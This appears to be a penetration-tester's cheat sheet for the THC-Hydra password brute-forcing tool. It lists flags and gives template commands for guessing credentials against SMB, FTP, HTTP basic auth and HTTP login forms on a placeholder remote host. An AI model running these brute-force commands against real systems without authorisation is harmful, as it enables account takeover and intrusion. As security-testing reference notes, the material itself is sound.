https://github.com/vanhauser-thc/thc-hydra
-l user, -L userList
-C user-pass-list (root:password)
-p password, -P passwordlist
-e = nsr "n" null password, "s" login as pass and/or "r" reversed login
-s use another port
hydra -L <userFile> -P <pwFile> -e nsr smb://<rhost>
hydra -t 5 -V -f -C <userPassFile> ftp://<rhost>
hydra -C <userPassFile> -f <rhost> -s <port> http-get </path/to/login>
hydra <rhost> -V -l <user> -P <pwFile> http-get-form "<path/to/login.php>:<userParam>=^USER^&<passwordParam>=^PASS^:<Login error>"